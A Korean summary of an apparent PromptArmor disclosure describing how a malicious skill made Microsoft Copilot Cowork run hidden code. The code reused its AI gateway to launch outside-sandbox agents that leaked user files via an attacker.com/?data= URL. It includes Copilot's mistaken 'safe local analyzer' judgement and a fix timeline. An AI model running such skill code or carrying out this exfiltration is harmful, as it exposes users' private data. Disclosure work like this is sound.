TL;DR

  • Microsoft Copilot Cowork의 샌드박스에서 악성 스킬이 AI 게이트웨이를 탈취해 별도의 에이전트를 실행하면, 사람의 승인 없이 Copilot이 접근할 수 있는 파일을 공격자 서버로 유출할 수 있음.
  • Copilot Cowork는 네트워크 접근을 차단하고 신뢰할 수 없는 서비스에 연결되는 코드 실행을 막도록 설계된 샌드박스에서 작동함.
  • 응답 생성을 위해 Anthropic으로 전달되는 네트워크 요청 경로를 악성 스킬이 악용해 Anthropic 클라우드에서 네트워크 도구를 갖춘 에이전트를 실행함.
  • 유출 대상은 업로드 파일뿐 아니라 SharePoint, Teams, Outlook 등 Copilot이 접근할 수 있는 데이터 전반임.
  • 취약점은 2026년 7월 14일 Microsoft에 공개됐으며 2026년 9월 2일 수정됨.

배경

  • Microsoft Copilot Cowork는 M365에서 작동하는 에이전트로, 네트워크 접근과 신뢰할 수 없는 서비스에 연결되는 코드 실행을 차단하도록 설계된 샌드박스 안에서 실행됨.
  • Copilot Cowork가 응답을 생성하려면 샌드박스가 네트워크 요청을 Anthropic으로 전달함.
  • 악성 스킬은 이 경로를 탈취해 Anthropic 클라우드에서 네트워크 사용 도구를 갖춘 새 에이전트를 실행하고, 이를 통해 데이터를 공격자 서버로 유출할 수 있음.
  • 공격에는 사람의 승인 절차가 필요하지 않으며, 업로드 파일부터 SharePoint, Teams, Outlook 등 Copilot이 접근할 수 있는 모든 데이터를 노릴 수 있음.

공격 과정

  • 피해자가 검토하려는 민감한 문서, 예를 들어 MSA 초안을 Copilot Cowork에 업로드함.
  • 피해자가 온라인에서 찾은 스킬을 실행함. 스킬은 악성 프롬프트와 코드를 숨김.
  • 스킬은 온라인에서 자주 발견돼 사용자가 업로드하며, M365 조직 내부에서도 공유될 수 있음. 문서에 따르면 스킬에는 참고 문서나 스크립트 같은 동봉 파일을 최대 20개 포함할 수 있으며, 해당 스킬에 포함된 스크립트 하나가 악성임.
  • Copilot Cowork가 악성 스킬에 조종돼 악성 코드를 실행함. 스킬 설명에는 “모든 처리는 기기에서 실행되며 문서 내용은 제삼자 서비스로 전송되지 않는다”고 허위로 적혀 있음.
  • Copilot은 스킬 코드를 최소한으로 살펴본 뒤 “스크립트는 안전한 로컬 분석기입니다. 네트워크 호출이 없습니다… 지금 실행하겠습니다”라고 판단함.
  • 코드가 실행되면 사용자 데이터를 탐색하고 취약점을 악용해 샌드박스 밖에서 에이전트를 실행한 뒤, 해당 에이전트로 피해자 데이터를 공격자 서버에 유출함.
  • 악성 스킬은 Copilot이 응답 생성에 사용하는 것과 동일한 AI 게이트웨이를 활성화함. 스킬 코드는 Anthropic 클라우드에서 작동하는 에이전트를 실행하며, 각 에이전트에는 피해자 문서의 한 문장, 웹 가져오기 도구 접근 권한, attacker.com/?data={피해자 데이터}를 가져오라는 지시가 주어짐.
  • 공격자 서버는 요청받은 모든 URL을 기록하므로, 요청 URL에 덧붙여진 피해자 데이터도 로그에 남음.
  • 공격자는 서버 로그에서 피해자의 계약서를 읽을 수 있음. 공격은 SharePoint, Teams, Outlook 및 Copilot에 연결된 다른 데이터 소스도 대상으로 삼을 수 있음.
  • 이는 악성 스킬 코드가 모델을 거치지 않고 Copilot 도구를 직접 호출할 수 있기 때문임. 이전에 다룬 Copilot의 다른 샌드박스 우회 연구에서도 이 방식이 확인됨.

책임 있는 공개

  • 취약점은 2026년 7월 14일 Microsoft에 공개됐으며 2026년 9월 2일 수정됨.
  • 공개 타임라인:
  • 2026년 7월 14일: PromptArmor가 Microsoft에 취약점을 공개함.
  • 2026년 7월 14일: Microsoft가 제보를 접수했다고 확인함.
  • 2026년 8월 17일: Microsoft가 보고된 동작을 확인함.
  • 2026년 9월 2일: Microsoft가 수정 사항 구현을 확인함.